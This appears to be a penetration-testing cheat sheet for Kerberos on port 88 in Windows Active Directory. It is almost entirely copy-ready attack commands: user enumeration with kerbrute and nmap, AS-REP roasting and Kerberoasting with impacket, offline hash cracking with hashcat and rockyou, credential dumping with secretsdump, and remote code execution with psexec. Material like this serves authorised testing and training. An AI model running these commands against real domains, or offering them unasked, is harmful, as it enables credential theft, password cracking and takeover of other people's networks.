Back to Port Tracker
🎟️
Kerberos
Port 88Windows
AD authentication — enumerate users, AS-REP roast, Kerberoast, and ticket attacks.
// methodology checklist
Step-by-step commands
1
User enumeration
howlsec@kali·shell
kerbrute userenum -d <domain> --dc $t users.txthowlsec@kali·shell
nmap -p88 --script krb5-enum-users $t2
AS-REP roasting (no pre-auth)
howlsec@kali·shell
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip $t -format hashcat -outputfile asrep.txthowlsec@kali·shell
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt3
Kerberoasting
Needs valid domain creds first.
howlsec@kali·shell
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip $t -request -format hashcat -outputfile kerb.txthowlsec@kali·shell
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt4
Ticket attacks
howlsec@kali·shell
impacket-secretsdump <domain>/<user>:<pass>@$thowlsec@kali·shell
impacket-psexec <domain>/<user>:<pass>@$t